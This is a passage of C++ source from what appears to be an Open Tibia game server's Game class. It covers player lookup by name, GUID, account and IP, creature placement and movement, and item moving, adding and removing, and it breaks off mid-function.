        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s)
                return it->second;
        }

        return NULL;
    }

    Player* Game::getPlayerByNameEx(const std::string& s)
    {
        Player* player = getPlayerByName(s);
        if(player)
            return player;

        std::string name = s;
        if(!IOLoginData::getInstance()->playerExists(name))
            return NULL;

        player = new Player(name, NULL);
        if(IOLoginData::getInstance()->loadPlayer(player, name))
            return player;

    #ifdef __DEBUG__
        std::cout << "[Failure - Game::getPlayerByNameEx] Cannot load player: " << name << std::endl;
    #endif
        delete player;
        return NULL;
    }

    Player* Game::getPlayerByGuid(uint32_t guid)
    {
        if(!guid)
            return NULL;

        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            if(!it->second->isRemoved() && it->second->getGUID() == guid)
                return it->second;
        }

        return NULL;
    }

    Player* Game::getPlayerByGuidEx(uint32_t guid)
    {
        Player* player = getPlayerByGuid(guid);
        if(player)
            return player;

        std::string name;
        if(!IOLoginData::getInstance()->getNameByGuid(guid, name))
            return NULL;

        player = new Player(name, NULL);
        if(IOLoginData::getInstance()->loadPlayer(player, name))
            return player;

    #ifdef __DEBUG__
        std::cout << "[Failure - Game::getPlayerByGuidEx] Cannot load player: " << name << std::endl;
    #endif
        delete player;
        return NULL;
    }

    ReturnValue Game::getPlayerByNameWildcard(std::string s, Player*& player)
    {
        player = NULL;
        if(s.empty())
            return RET_PLAYERWITHTHISNAMEISNOTONLINE;

        char tmp = *s.rbegin();
        if(tmp != '~' && tmp != '*')
        {
            player = getPlayerByName(s);
            if(!player)
                return RET_PLAYERWITHTHISNAMEISNOTONLINE;

            return RET_NOERROR;
        }

        Player* last = NULL;
        s = s.substr(0, s.length() - 1);

        toLowerCaseString(s);
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            if(it->second->isRemoved())
                continue;

            std::string name = asLowerCaseString(it->second->getName());
            if(name.substr(0, s.length()) != s)
                continue;

            if(last)
                return RET_NAMEISTOOAMBIGUOUS;

            last = it->second;
        }

        if(!last)
            return RET_PLAYERWITHTHISNAMEISNOTONLINE;

        player = last;
        return RET_NOERROR;
    }

    Player* Game::getPlayerByAccount(uint32_t acc)
    {
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            if(!it->second->isRemoved() && it->second->getAccount() == acc)
                return it->second;
        }

        return NULL;
    }

    PlayerVector Game::getPlayersByName(std::string s)
    {
        toLowerCaseString(s);
        PlayerVector players;
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            if(!it->second->isRemoved() && asLowerCaseString(it->second->getName()) == s)
                players.push_back(it->second);
        }

        return players;
    }

    PlayerVector Game::getPlayersByAccount(uint32_t acc)
    {
        PlayerVector players;
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            if(!it->second->isRemoved() && it->second->getAccount() == acc)
                players.push_back(it->second);
        }

        return players;
    }

    PlayerVector Game::getPlayersByIP(uint32_t ip, uint32_t mask)
    {
        PlayerVector players;
        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
        {
            if(!it->second->isRemoved() && (it->second->getIP() & mask) == (ip & mask))
                players.push_back(it->second);
        }

        return players;
    }

    bool Game::internalPlaceCreature(Creature* creature, const Position& pos, bool extendedPos /*= false*/, bool forced /*= false*/)
    {
        if(creature->getParent())
            return false;

        if(!map->placeCreature(pos, creature, extendedPos, forced))
            return false;

        creature->addRef();
        creature->setID();

        autoList[creature->getID()] = creature;
        creature->addList();
        return true;
    }

    bool Game::placeCreature(Creature* creature, const Position& pos, bool extendedPos /*= false*/, bool forced /*= false*/)
    {
        Player* tmpPlayer = NULL;
        if((tmpPlayer = creature->getPlayer()) && !tmpPlayer->storedConditionList.empty())
        {
            for(ConditionList::iterator it = tmpPlayer->storedConditionList.begin(); it != tmpPlayer->storedConditionList.end(); ++it)
            {
                if((*it)->getType() == CONDITION_MUTED && ((*it)->getTicks() - (
                    (time(NULL) - tmpPlayer->getLastLogout()) * 1000)) <= 0)
                    continue;

                tmpPlayer->addCondition(*it);
            }

            tmpPlayer->storedConditionList.clear();
        }

        if(!internalPlaceCreature(creature, pos, extendedPos, forced))
            return false;

        SpectatorVec::iterator it;
        SpectatorVec list;

        getSpectators(list, creature->getPosition(), false, true);
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendCreatureAppear(creature);
        }

        for(it = list.begin(); it != list.end(); ++it)
            (*it)->onCreatureAppear(creature);

        creature->setLastPosition(pos);
        creature->getParent()->postAddNotification(NULL, creature, NULL, creature->getParent()->__getIndexOfThing(creature));
        addCreatureCheck(creature);

        creature->onPlacedCreature();
        return true;
    }

    ReturnValue Game::placeSummon(Creature* creature, const std::string& name)
    {
        Monster* monster = Monster::createMonster(name);
        if(!monster)
            return RET_NOTPOSSIBLE;

        // Place the monster
        creature->addSummon(monster);
        if(placeCreature(monster, creature->getPosition(), true))
            return RET_NOERROR;

        creature->removeSummon(monster);
        return RET_NOTENOUGHROOM;
    }

    bool Game::removeCreature(Creature* creature, bool isLogout /*= true*/)
    {
        if(creature->isRemoved())
            return false;

        Tile* tile = creature->getTile();
        SpectatorVec list;

        SpectatorVec::iterator it;
        getSpectators(list, tile->getPosition(), false, true);

        Player* player = NULL;
        std::vector<uint32_t> oldStackPosVector;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((player = (*it)->getPlayer()) && player->canSeeCreature(creature))
                oldStackPosVector.push_back(tile->getClientIndexOfThing(player, creature));
        }

        int32_t oldIndex = tile->__getIndexOfThing(creature);
        if(!map->removeCreature(creature))
            return false;

        //send to client
        uint32_t i = 0;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if(!(player = (*it)->getPlayer()) || !player->canSeeCreature(creature))
                continue;

            player->sendCreatureDisappear(creature, oldStackPosVector);
            ++i;
        }

        //event method
        for(it = list.begin(); it != list.end(); ++it)
            (*it)->onCreatureDisappear(creature, isLogout);

        creature->getParent()->postRemoveNotification(NULL, creature, NULL, oldIndex, true);
        creature->onRemovedCreature();

        autoList.erase(creature->getID());
        freeThing(creature);

        removeCreatureCheck(creature);
        for(std::list<Creature*>::iterator it = creature->summons.begin(); it != creature->summons.end(); ++it)
            removeCreature(*it);

        return true;
    }

    bool Game::playerMoveThing(uint32_t playerId, const Position& fromPos,
        uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        uint8_t fromIndex = 0;
        if(fromPos.x == 0xFFFF)
        {
            if(fromPos.y & 0x40)
                fromIndex = static_cast<uint8_t>(fromPos.z);
            else
                fromIndex = static_cast<uint8_t>(fromPos.y);
        }
        else
            fromIndex = fromStackpos;

        Thing* thing = internalGetThing(player, fromPos, fromIndex, spriteId, STACKPOS_MOVE);
        Cylinder* toCylinder = internalGetCylinder(player, toPos);
        if(!thing || !toCylinder)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        if(Creature* movingCreature = thing->getCreature())
        {
            uint32_t delay = g_config.getNumber(ConfigManager::PUSH_CREATURE_DELAY);
            if(Position::areInRange<1,1,0>(movingCreature->getPosition(), player->getPosition()) && delay > 0)
            {
                SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveCreature, this,
                    player->getID(), movingCreature->getID(), movingCreature->getPosition(), toCylinder->getPosition()));
                player->setNextActionTask(task);
            }
            else
                playerMoveCreature(playerId, movingCreature->getID(), movingCreature->getPosition(), toCylinder->getPosition());
        }
        else if(thing->getItem())
            playerMoveItem(playerId, fromPos, spriteId, fromStackpos, toPos, count);

        return true;
    }

    bool Game::playerMoveCreature(uint32_t playerId, uint32_t movingCreatureId,
        const Position& movingCreaturePos, const Position& toPos)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved() || player->hasFlag(PlayerFlag_CannotMoveCreatures))
            return false;

        if(!player->canDoAction())
        {
            uint32_t delay = player->getNextActionTime();
            SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveCreature,
                this, playerId, movingCreatureId, movingCreaturePos, toPos));

            player->setNextActionTask(task);
            return false;
        }

        Creature* movingCreature = getCreatureByID(movingCreatureId);
        if(!movingCreature || movingCreature->isRemoved() || movingCreature->getNoMove())
            return false;

        player->setNextActionTask(NULL);
        if(!Position::areInRange<1,1,0>(movingCreaturePos, player->getPosition()) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar))
        {
            //need to walk to the creature first before moving it
            std::list<Direction> listDir;
            if(getPathToEx(player, movingCreaturePos, listDir, 0, 1, true, true))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));
                SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveCreature, this,
                    playerId, movingCreatureId, movingCreaturePos, toPos));

                player->setNextWalkActionTask(task);
                return true;
            }

            player->sendCancelMessage(RET_THEREISNOWAY);
            return false;
        }

        Tile* toTile = map->getTile(toPos);
        if(!toTile)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        if((!movingCreature->isPushable() && !player->hasFlag(PlayerFlag_CanPushAllCreatures)) || !player->canSeeCreature(movingCreature))
        {
            player->sendCancelMessage(RET_NOTMOVEABLE);
            return false;
        }

        //check throw distance
        const Position& pos = movingCreature->getPosition();
        if(!player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere) && ((std::abs(pos.x - toPos.x) > movingCreature->getThrowRange()) || (std::abs(
            pos.y - toPos.y) > movingCreature->getThrowRange()) || (std::abs(
            pos.z - toPos.z) * 4 > movingCreature->getThrowRange())))
        {
            player->sendCancelMessage(RET_DESTINATIONOUTOFREACH);
            return false;
        }

        if(player != movingCreature)
        {
            if(toTile->hasProperty(BLOCKPATH))
            {
                player->sendCancelMessage(RET_NOTENOUGHROOM);
                return false;
            }

            if((movingCreature->getZone() == ZONE_PROTECTION || movingCreature->getZone() == ZONE_NOPVP)
                && !toTile->hasFlag(TILESTATE_NOPVPZONE) && !toTile->hasFlag(TILESTATE_PROTECTIONZONE)
                && !player->hasFlag(PlayerFlag_IgnoreProtectionZone))
            {
                player->sendCancelMessage(RET_NOTPOSSIBLE);
                return false;
            }

            if(toTile->getCreatures() && !toTile->getCreatures()->empty()
                && !player->hasFlag(PlayerFlag_CanPushAllCreatures))
            {
                player->sendCancelMessage(RET_NOTPOSSIBLE);
                return false;
            }
        }

        bool deny = false;
        CreatureEventList pushEvents = player->getCreatureEvents(CREATURE_EVENT_PUSH);
        for(CreatureEventList::iterator it = pushEvents.begin(); it != pushEvents.end(); ++it)
        {
            if(!(*it)->executePush(player, movingCreature) && !deny)
                deny = true;
        }

        if(deny)
            return false;

        ReturnValue ret = internalMoveCreature(player, movingCreature, movingCreature->getTile(), toTile);
        if(ret != RET_NOERROR)
        {
            if(!player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar) || !player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere))
            {
                player->sendCancelMessage(ret);
                return false;
            }

            if(!toTile->ground)
            {
                player->sendCancelMessage(RET_NOTPOSSIBLE);
                return true;
            }

            internalTeleport(movingCreature, toTile->getPosition(), true);
            return true;
        }

        if(Player* movingPlayer = movingCreature->getPlayer())
        {
            uint64_t delay = OTSYS_TIME() + movingPlayer->getStepDuration();
            if(delay > movingPlayer->getNextActionTime())
                movingPlayer->setNextAction(delay);
        }

        return true;
    }

    ReturnValue Game::internalMoveCreature(Creature* creature, Direction direction, uint32_t flags/* = 0*/)
    {
        const Position& currentPos = creature->getPosition();
        Cylinder* fromTile = creature->getTile();
        Cylinder* toTile = NULL;

        Position destPos = getNextPosition(direction, currentPos);
        if(direction < SOUTHWEST && creature->getPlayer())
        {
            Tile* tmpTile = NULL;
            if(currentPos.z != 8 && creature->getTile()->hasHeight(3)) //try go up
            {
                if((!(tmpTile = map->getTile(Position(currentPos.x, currentPos.y, currentPos.z - 1)))
                    || (!tmpTile->ground && !tmpTile->hasProperty(BLOCKSOLID))) &&
                    (tmpTile = map->getTile(Position(destPos.x, destPos.y, destPos.z - 1)))
                    && tmpTile->ground && !tmpTile->hasProperty(BLOCKSOLID))
                {
                    flags = flags | FLAG_IGNOREBLOCKITEM | FLAG_IGNOREBLOCKCREATURE;
                    destPos.z--;
                }
            }
            else if(currentPos.z != 7 && (!(tmpTile = map->getTile(destPos)) || (!tmpTile->ground &&
                !tmpTile->hasProperty(BLOCKSOLID))) && (tmpTile = map->getTile(Position(
                destPos.x, destPos.y, destPos.z + 1))) && tmpTile->hasHeight(3)) //try go down
            {
                flags = flags | FLAG_IGNOREBLOCKITEM | FLAG_IGNOREBLOCKCREATURE;
                destPos.z++;
            }
        }
        ReturnValue ret = RET_NOTPOSSIBLE;
        if((toTile = map->getTile(destPos)))
            ret = internalMoveCreature(NULL, creature, fromTile, toTile, flags);

        if(ret != RET_NOERROR)
        {
            if(Player* player = creature->getPlayer())
            {
                player->sendCancelMessage(ret);
                player->sendCancelWalk();
            }
        }
        return ret;
    }

    ReturnValue Game::internalMoveCreature(Creature* actor, Creature* creature, Cylinder* fromCylinder, Cylinder* toCylinder, uint32_t flags/* = 0*/)
    {
        //check if we can move the creature to the destination
        ReturnValue ret = toCylinder->__queryAdd(0, creature, 1, flags);
        if(ret != RET_NOERROR)
            return ret;

        fromCylinder->getTile()->moveCreature(actor, creature, toCylinder);
        if(creature->getParent() != toCylinder)
            return RET_NOERROR;

        Item* toItem = NULL;
        Cylinder* subCylinder = NULL;

        int32_t n = 0, tmp = 0;
        while((subCylinder = toCylinder->__queryDestination(tmp, creature, &toItem, flags)) != toCylinder)
        {
            toCylinder->getTile()->moveCreature(actor, creature, subCylinder);
            if(creature->getParent() != subCylinder) //could happen if a script move the creature
                 break;

            toCylinder = subCylinder;
            flags = 0;
            if(++n >= MAP_MAX_LAYERS) //to prevent infinite loop
                break;
        }

        return RET_NOERROR;
    }

    bool Game::playerMoveItem(uint32_t playerId, const Position& fromPos,
        uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved() || player->hasFlag(PlayerFlag_CannotMoveItems))
            return false;

        if(!player->canDoAction())
        {
            uint32_t delay = player->getNextActionTime();
            SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveItem, this,
                playerId, fromPos, spriteId, fromStackpos, toPos, count));

            player->setNextActionTask(task);
            return false;
        }

        player->setNextActionTask(NULL);
        Cylinder* fromCylinder = internalGetCylinder(player, fromPos);

        uint8_t fromIndex = 0;
        if(fromPos.x == 0xFFFF)
        {
            if(fromPos.y & 0x40)
                fromIndex = static_cast<uint8_t>(fromPos.z);
            else
                fromIndex = static_cast<uint8_t>(fromPos.y);
        }
        else
            fromIndex = fromStackpos;

        Thing* thing = internalGetThing(player, fromPos, fromIndex, spriteId, STACKPOS_MOVE);
        if(!thing || !thing->getItem())
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        Item* item = thing->getItem();
        Cylinder* toCylinder = internalGetCylinder(player, toPos);

        uint8_t toIndex = 0;
        if(toPos.x == 0xFFFF)
        {
            if(toPos.y & 0x40)
                toIndex = static_cast<uint8_t>(toPos.z);
            else
                toIndex = static_cast<uint8_t>(toPos.y);
        }

        if(!fromCylinder || !toCylinder || !item || item->getClientID() != spriteId)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        if(!player->hasCustomFlag(PlayerCustomFlag_CanPushAllItems) && (!item->isPushable() || (item->isLoadedFromMap() &&
            (item->getUniqueId() != 0 || (item->getActionId() != 0 && item->getContainer())))))
        {
            player->sendCancelMessage(RET_NOTMOVEABLE);
            return false;
        }

        const Position& mapFromPos = fromCylinder->getTile()->getPosition();
        const Position& mapToPos = toCylinder->getTile()->getPosition();

        const Position& playerPos = player->getPosition();
        if(playerPos.z > mapFromPos.z && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
        {
            player->sendCancelMessage(RET_FIRSTGOUPSTAIRS);
            return false;
        }

        if(playerPos.z < mapFromPos.z && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
        {
            player->sendCancelMessage(RET_FIRSTGODOWNSTAIRS);
            return false;
        }

        if(!Position::areInRange<1,1,0>(playerPos, mapFromPos) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar))
        {
            //need to walk to the item first before using it
            std::list<Direction> listDir;
            if(getPathToEx(player, item->getPosition(), listDir, 0, 1, true, true))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));
                SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveItem, this,
                    playerId, fromPos, spriteId, fromStackpos, toPos, count));

                player->setNextWalkActionTask(task);
                return true;
            }

            player->sendCancelMessage(RET_THEREISNOWAY);
            return false;
        }

        //hangable item specific code
        if(item->isHangable() && toCylinder->getTile()->hasProperty(SUPPORTHANGABLE))
        {
            //destination supports hangable objects so need to move there first
            if(toCylinder->getTile()->hasProperty(ISVERTICAL))
            {
                if(player->getPosition().x + 1 == mapToPos.x)
                {
                    player->sendCancelMessage(RET_NOTPOSSIBLE);
                    return false;
                }
            }
            else if(toCylinder->getTile()->hasProperty(ISHORIZONTAL))
            {
                if(player->getPosition().y + 1 == mapToPos.y)
                {
                    player->sendCancelMessage(RET_NOTPOSSIBLE);
                    return false;
                }
            }

            if(!Position::areInRange<1,1,0>(playerPos, mapToPos) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar))
            {
                Position walkPos = mapToPos;
                if(toCylinder->getTile()->hasProperty(ISVERTICAL))
                    walkPos.x -= -1;

                if(toCylinder->getTile()->hasProperty(ISHORIZONTAL))
                    walkPos.y -= -1;

                Position itemPos = fromPos;
                int16_t itemStackpos = fromStackpos;
                if(fromPos.x != 0xFFFF && Position::areInRange<1,1,0>(mapFromPos, player->getPosition())
                    && !Position::areInRange<1,1,0>(mapFromPos, walkPos))
                {
                    //need to pickup the item first
                    Item* moveItem = NULL;
                    ReturnValue ret = internalMoveItem(player, fromCylinder, player, INDEX_WHEREEVER, item, count, &moveItem);
                    if(ret != RET_NOERROR)
                    {
                        player->sendCancelMessage(ret);
                        return false;
                    }

                    //changing the position since its now in the inventory of the player
                    internalGetPosition(moveItem, itemPos, itemStackpos);
                }

                std::list<Direction> listDir;
                if(map->getPathTo(player, walkPos, listDir))
                {
                    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                        this, player->getID(), listDir)));
                    SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveItem, this,
                        playerId, itemPos, spriteId, itemStackpos, toPos, count));

                    player->setNextWalkActionTask(task);
                    return true;
                }

                player->sendCancelMessage(RET_THEREISNOWAY);
                return false;
            }
        }

        if(!player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
        {
            if((std::abs(playerPos.x - mapToPos.x) > item->getThrowRange()) ||
                (std::abs(playerPos.y - mapToPos.y) > item->getThrowRange()) ||
                (std::abs(mapFromPos.z - mapToPos.z) * 4 > item->getThrowRange()))
            {
                player->sendCancelMessage(RET_DESTINATIONOUTOFREACH);
                return false;
            }
        }

        if(!canThrowObjectTo(mapFromPos, mapToPos) && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere))
        {
            player->sendCancelMessage(RET_CANNOTTHROW);
            return false;
        }

        ReturnValue ret = internalMoveItem(player, fromCylinder, toCylinder, toIndex, item, count, NULL);
        if(ret == RET_NOERROR)
            return true;

        player->sendCancelMessage(ret);
        return false;
    }

    ReturnValue Game::internalMoveItem(Creature* actor, Cylinder* fromCylinder, Cylinder* toCylinder,
        int32_t index, Item* item, uint32_t count, Item** _moveItem, uint32_t flags /*= 0*/)
    {
        if(!toCylinder)
            return RET_NOTPOSSIBLE;

        if(!item->getParent())
        {
            assert(fromCylinder == item->getParent());
            return internalAddItem(actor, toCylinder, item, INDEX_WHEREEVER, FLAG_NOLIMIT);
        }

        Item* toItem = NULL;
        Cylinder* subCylinder = NULL;

        int32_t floor = 0;
        while((subCylinder = toCylinder->__queryDestination(index, item, &toItem, flags)) != toCylinder)
        {
            toCylinder = subCylinder;
            flags = 0;
            //to prevent infinite loop
            if(++floor >= MAP_MAX_LAYERS)
                break;
        }

        //destination is the same as the source?
        if(item == toItem)
            return RET_NOERROR; //silently ignore move

        //check if we can add this item
        ReturnValue ret = toCylinder->__queryAdd(index, item, count, flags);
        if(ret == RET_NEEDEXCHANGE)
        {
            //check if we can add it to source cylinder
            int32_t fromIndex = fromCylinder->__getIndexOfThing(item);

            ret = fromCylinder->__queryAdd(fromIndex, toItem, toItem->getItemCount(), 0);
            if(ret == RET_NOERROR)
            {
                //check how much we can move
                uint32_t maxExchangeQueryCount = 0;
                ReturnValue retExchangeMaxCount = fromCylinder->__queryMaxCount(-1, toItem, toItem->getItemCount(), maxExchangeQueryCount, 0);

                if(retExchangeMaxCount != RET_NOERROR && maxExchangeQueryCount == 0)
                    return retExchangeMaxCount;

                if((toCylinder->__queryRemove(toItem, toItem->getItemCount(), flags) == RET_NOERROR) && ret == RET_NOERROR)
                {
                    int32_t oldToItemIndex = toCylinder->__getIndexOfThing(toItem);
                    toCylinder->__removeThing(toItem, toItem->getItemCount());

                    fromCylinder->__addThing(actor, toItem);
                    if(oldToItemIndex != -1)
                        toCylinder->postRemoveNotification(actor, toItem, fromCylinder, oldToItemIndex, true);

                    int32_t newToItemIndex = fromCylinder->__getIndexOfThing(toItem);
                    if(newToItemIndex != -1)
                        fromCylinder->postAddNotification(actor, toItem, toCylinder, newToItemIndex);

                    ret = toCylinder->__queryAdd(index, item, count, flags);
                    toItem = NULL;
                }
            }
        }

        if(ret != RET_NOERROR)
            return ret;

        //check how much we can move
        uint32_t maxQueryCount = 0;
        ReturnValue retMaxCount = toCylinder->__queryMaxCount(index, item, count, maxQueryCount, flags);
        if(retMaxCount != RET_NOERROR && !maxQueryCount)
            return retMaxCount;

        uint32_t m = maxQueryCount, n = 0;
        if(item->isStackable())
            m = std::min((uint32_t)count, m);

        Item* moveItem = item;
        //check if we can remove this item
        ret = fromCylinder->__queryRemove(item, m, flags);
        if(ret != RET_NOERROR)
            return ret;

        //remove the item
        int32_t itemIndex = fromCylinder->__getIndexOfThing(item);
        fromCylinder->__removeThing(item, m);

        bool isCompleteRemoval = item->isRemoved();
        Item* updateItem = NULL;
        //update item(s)
        if(item->isStackable())
        {
            if(toItem && toItem->getID() == item->getID())
            {
                n = std::min((uint32_t)100 - toItem->getItemCount(), m);
                toCylinder->__updateThing(toItem, toItem->getID(), toItem->getItemCount() + n);
                updateItem = toItem;
            }

            if(m - n > 0)
                moveItem = Item::CreateItem(item->getID(), m - n);
            else
                moveItem = NULL;

            if(item->isRemoved())
                freeThing(item);
        }

        //add item
        if(moveItem /*m - n > 0*/)
            toCylinder->__addThing(actor, index, moveItem);

        if(itemIndex != -1)
            fromCylinder->postRemoveNotification(actor, item, toCylinder, itemIndex, isCompleteRemoval);

        if(moveItem)
        {
            int32_t moveItemIndex = toCylinder->__getIndexOfThing(moveItem);
            if(moveItemIndex != -1)
                toCylinder->postAddNotification(actor, moveItem, fromCylinder, moveItemIndex);
        }

        if(updateItem)
        {
            int32_t updateItemIndex = toCylinder->__getIndexOfThing(updateItem);
            if(updateItemIndex != -1)
                toCylinder->postAddNotification(actor, updateItem, fromCylinder, updateItemIndex);
        }

        if(_moveItem)
        {
            if(moveItem)
                *_moveItem = moveItem;
            else
                *_moveItem = item;
        }

        //we could not move all, inform the player
        if(item->isStackable() && maxQueryCount < count)
            return retMaxCount;

        return ret;
    }

    ReturnValue Game::internalAddItem(Creature* actor, Cylinder* toCylinder, Item* item, int32_t index /*= INDEX_WHEREEVER*/,
        uint32_t flags /*= 0*/, bool test /*= false*/)
    {
        if(!toCylinder || !item)
            return RET_NOTPOSSIBLE;

        Item* toItem = NULL;
        toCylinder = toCylinder->__queryDestination(index, item, &toItem, flags);

        ReturnValue ret = toCylinder->__queryAdd(index, item, item->getItemCount(), flags);
        if(ret != RET_NOERROR)
            return ret;

        uint32_t maxQueryCount = 0;
        ret = toCylinder->__queryMaxCount(index, item, item->getItemCount(), maxQueryCount, flags);
        if(ret != RET_NOERROR)
            return ret;

        if(!test)
        {
            uint32_t m = maxQueryCount;
            if(item->isStackable())
                m = std::min((uint32_t)item->getItemCount(), maxQueryCount);

            Item* moveItem = item;
            if(item->isStackable() && toItem && toItem->getID() == item->getID())
            {
                uint32_t n = std::min((uint32_t)100 - toItem->getItemCount(), m);
                toCylinder->__updateThing(toItem, toItem->getID(), toItem->getItemCount() + n);
                if(m - n > 0)
                {
                    if(m - n != item->getItemCount())
                        moveItem = Item::CreateItem(item->getID(), m - n);
                }
                else
                {
                    moveItem = NULL;
                    if(item->getParent() != VirtualCylinder::virtualCylinder)
                    {
                        item->onRemoved();
                        freeThing(item);
                    }
                }
            }

            if(moveItem)
            {
                toCylinder->__addThing(actor, index, moveItem);
                int32_t moveItemIndex = toCylinder->__getIndexOfThing(moveItem);
                if(moveItemIndex != -1)
                    toCylinder->postAddNotification(actor, moveItem, NULL, moveItemIndex);
            }
            else
            {
                int32_t itemIndex = toCylinder->__getIndexOfThing(item);
                if(itemIndex != -1)
                    toCylinder->postAddNotification(actor, item, NULL, itemIndex);
            }
        }

        return RET_NOERROR;
    }

    ReturnValue Game::internalRemoveItem(Creature* actor, Item* item, int32_t count /*= -1*/, bool test /*= false*/, uint32_t flags /*= 0*/)
    {
        Cylinder* cylinder = item->getParent();
        if(!cylinder)
            return RET_NOTPOSSIBLE;

        if(count == -1)
            count = item->getItemCount();

        //check if we can remove this item
        ReturnValue ret = cylinder->__queryRemove(item, count, flags | FLAG_IGNORENOTMOVEABLE);
        if(ret != RET_NOERROR)
            return ret;

        if(!item->canRemove())
            return RET_NOTPOSSIBLE;

        if(!test)
        {
            //remove the item
            int32_t index = cylinder->__getIndexOfThing(item);
            cylinder->__removeThing(item, count);

            bool isCompleteRemoval = false;
            if(item->isRemoved())
            {
                isCompleteRemoval = true;
                freeThing(item);
            }

            cylinder->postRemoveNotification(actor, item, NULL, index, isCompleteRemoval);
        }

        item->onRemoved();
        return RET_NOERROR;
    }

    ReturnValue Game::internalPlayerAddItem(Creature* actor, Player* player, Item* item, bool dropOnMap /*= true*/)
    {
        ReturnValue ret = internalAddItem(actor, player, item);
        if(ret != RET_NOERROR && dropOnMap)
            ret = internalAddItem(actor, player->getTile(), item, INDEX_WHEREEVER, FLAG_NOLIMIT);

        return ret;
    }

    Item* Game::findItemOfType(Cylinder* cylinder, uint16_t itemId,
        bool depthSearch /*= true*/, int32_t subType /*= -1*/)
    {
        if(!cylinder)
            return false;

        std::list<Container*> listContainer;
        Container* tmpContainer = NULL;

        Thing* thing = NULL;
        Item* item = NULL;
        for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex();)
        {
            if((thing = cylinder->__getThing(i)) && (item = thing->getItem()))
            {
                if(item->getID() == itemId && (subType == -1 || subType == item->getSubType()))
                    return item;
                else
                {
                    ++i;
                    if(depthSearch && (tmpContainer = item->getContainer()))
                        listContainer.push_back(tmpContainer);
                }
            }
            else
                ++i;
        }

        while(listContainer.size() > 0)
        {
            Container* container = listContainer.front();
            listContainer.pop_front();
            for(int32_t i = 0; i < (int32_t)container->size();)
            {
                Item* item = container->getItem(i);
                if(item->getID() == itemId && (subType == -1 || subType == item->getSubType()))
                    return item;
                else
                {
                    ++i;
                    if((tmpContainer = item->getContainer()))
                        listContainer.push_back(tmpContainer);
                }
            }
        }

        return NULL;
    }

    bool Game::removeItemOfType(Cylinder* cylinder, uint16_t itemId, int32_t count, int32_t subType /*= -1*/)
    {
        if(!cylinder || ((int32_t)cylinder->__getItemTypeCount(itemId, subType) < count))
            return false;

        if(count <= 0)
            return true;

        std::list<Container*> listContainer;
        Container* tmpContainer = NULL;

        Thing* thing = NULL;
        Item* item = NULL;
        for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex() && count > 0;)
        {
            if((thing = cylinder->__getThing(i)) && (item = thing->getItem()))
            {
                if(item->getID() == itemId)
                {
                    if(item->isStackable())
                    {
                        if(item->getItemCount() > count)
                        {
                            internalRemoveItem(NULL, item, count);
                            count = 0;
                        }
                        else
                        {
                            count -= item->getItemCount();
                            internalRemoveItem(NULL, item);
                        }
                    }
                    else if(subType == -1 || subType == item->getSubType())
                    {
                        --count;
                        internalRemoveItem(NULL, item);
                    }
                }
                else
                {
                    ++i;
                    if((tmpContainer = item->getContainer()))
                        listContainer.push_back(tmpContainer);
                }
            }
            else
                ++i;
        }

        while(listContainer.size() > 0 && count > 0)
        {
            Container* container = listContainer.front();
            listContainer.pop_front();
            for(int32_t i = 0; i < (int32_t)container->size() && count > 0;)
            {
                Item* item = container->getItem(i);
                if(item->getID() == itemId)
                {
                    if(item->isStackable())
                    {
                        if(item->getItemCount() > count)
                        {
                            internalRemoveItem(NULL, item, count);
                            count = 0;
                        }
                        else
                        {
                            count-= item->getItemCount();
                            internalRemoveItem(NULL, item);
                        }
                    }
                    else if(subType == -1 || subType == item->getSubType())
                    {
                        --count;
                        internalRemoveItem(NULL, item);
                    }
                }
                else
                {
                    ++i;
                    if((tmpContainer = item->getContainer()))
